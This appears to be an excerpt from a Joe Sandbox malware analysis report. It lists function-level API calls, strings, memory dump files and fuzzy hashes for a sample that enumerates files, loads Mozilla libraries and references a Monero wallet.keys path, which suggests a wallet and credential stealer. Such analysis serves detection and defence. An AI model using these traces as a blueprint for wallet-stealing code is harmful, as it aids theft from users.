free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

detoured.dll, xrefs: 6C6664DA
nvd3d9wrap.dll, xrefs: 6C666500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
_etoured.dll, xrefs: 6C6664ED
user32.dll, xrefs: 6C666526
nvdxgiwrap.dll, xrefs: 6C666513

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 006D38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006D38CC
FindFirstFileA.KERNEL32(?,?), ref: 006D38E3
lstrcat.KERNEL32(?,?), ref: 006D3935
StrCmpCA.SHLWAPI(?,006E0F70), ref: 006D3947
StrCmpCA.SHLWAPI(?,006E0F74), ref: 006D395D
FindNextFileA.KERNEL32(000000FF,?), ref: 006D3C67
FindClose.KERNEL32(000000FF), ref: 006D3C7C

Strings

%s\%s\%s, xrefs: 006D3A4A
%s%s, xrefs: 006D3AAD
%s\*, xrefs: 006D38C0
%s\%s, xrefs: 006D3A6F
%s\%s, xrefs: 006D397A

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: ca67a770060189f2b9bc3b6c3f5c69c98f70c95a59267f5393c41d6ceb983da8
Instruction ID: 5185c140eaea63b285cce7ceee3cb8b5d202b1c2920f1d665f072f5eaacd6ae3
Opcode Fuzzy Hash: ca67a770060189f2b9bc3b6c3f5c69c98f70c95a59267f5393c41d6ceb983da8
Instruction Fuzzy Hash: B0A140B2A103189FDB64DFA4DC85FEE7379BB58300F04458DA60D96241EB759B84CFA2

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 006D4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006D4580
RtlAllocateHeap.NTDLL(00000000), ref: 006D4587
wsprintfA.USER32 ref: 006D45A6
FindFirstFileA.KERNEL32(?,?), ref: 006D45BD
StrCmpCA.SHLWAPI(?,006E0FC4), ref: 006D45EB
StrCmpCA.SHLWAPI(?,006E0FC8), ref: 006D4601
FindNextFileA.KERNEL32(000000FF,?), ref: 006D468B
FindClose.KERNEL32(000000FF), ref: 006D46A0
lstrcat.KERNEL32(?,013EE440), ref: 006D46C5
lstrcat.KERNEL32(?,013ED198), ref: 006D46D8
lstrlen.KERNEL32(?), ref: 006D46E5
lstrlen.KERNEL32(?), ref: 006D46F6

Strings

%s\*, xrefs: 006D459A
%s\%s, xrefs: 006D461B

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 2475b808f0c88f7e569c625fd73839cb27dd3eb4f73ebe913982d319c1990ba3
Instruction ID: 3175a8b0584b83eb394bd6158e543659bc6d134eab793cd5b7af7b6ad1b36185
Opcode Fuzzy Hash: 2475b808f0c88f7e569c625fd73839cb27dd3eb4f73ebe913982d319c1990ba3
Instruction Fuzzy Hash: 9C5163B6954318AFC760EB70DC89FED737DAB58300F408589B60A96190EF74DB848F96

Function 006CED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006CED3E
FindFirstFileA.KERNEL32(?,?), ref: 006CED55
StrCmpCA.SHLWAPI(?,006E1538), ref: 006CEDAB
StrCmpCA.SHLWAPI(?,006E153C), ref: 006CEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 006CF2AE
FindClose.KERNEL32(000000FF), ref: 006CF2C3

Strings

%s\*.*, xrefs: 006CED32

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b680fc7795e47868710852f6dcc05b673500f89e096a188182eeb087546008c4
Instruction ID: 27d6a9958f9731e73f8a9e4c0dcf73b430a5cc029fa1ba84b5412f514dbcaf24
Opcode Fuzzy Hash: b680fc7795e47868710852f6dcc05b673500f89e096a188182eeb087546008c4
Instruction Fuzzy Hash: 5EE10671D152589ADB94FBA0CC52EEE733EAF54300F40419EB40A66192EF306F8ADF59

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

<jemalloc>, xrefs: 6C67D827
: (malloc) Error initializing arena, xrefs: 6C67D82C

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 006CDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,006E0C2E), ref: 006CDE5E
StrCmpCA.SHLWAPI(?,006E14C8), ref: 006CDEAE
StrCmpCA.SHLWAPI(?,006E14CC), ref: 006CDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 006CE3E0
FindClose.KERNEL32(000000FF), ref: 006CE3F2

Strings

\*.*, xrefs: 006CDE26

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 7f71d6d2f5ff2f94a5672946e0211314765ef8f4c522790ca7a02cc2e1797555
Instruction ID: e6dea6fa4684e170056370e7d1b1980190e56796539ea114559e598b37f8a543
Opcode Fuzzy Hash: 7f71d6d2f5ff2f94a5672946e0211314765ef8f4c522790ca7a02cc2e1797555
Instruction Fuzzy Hash: 12F1FF71C291589ADB55FBA0CC95EEE733ABF14300F8041DEA40A66191EF306F8ADF59

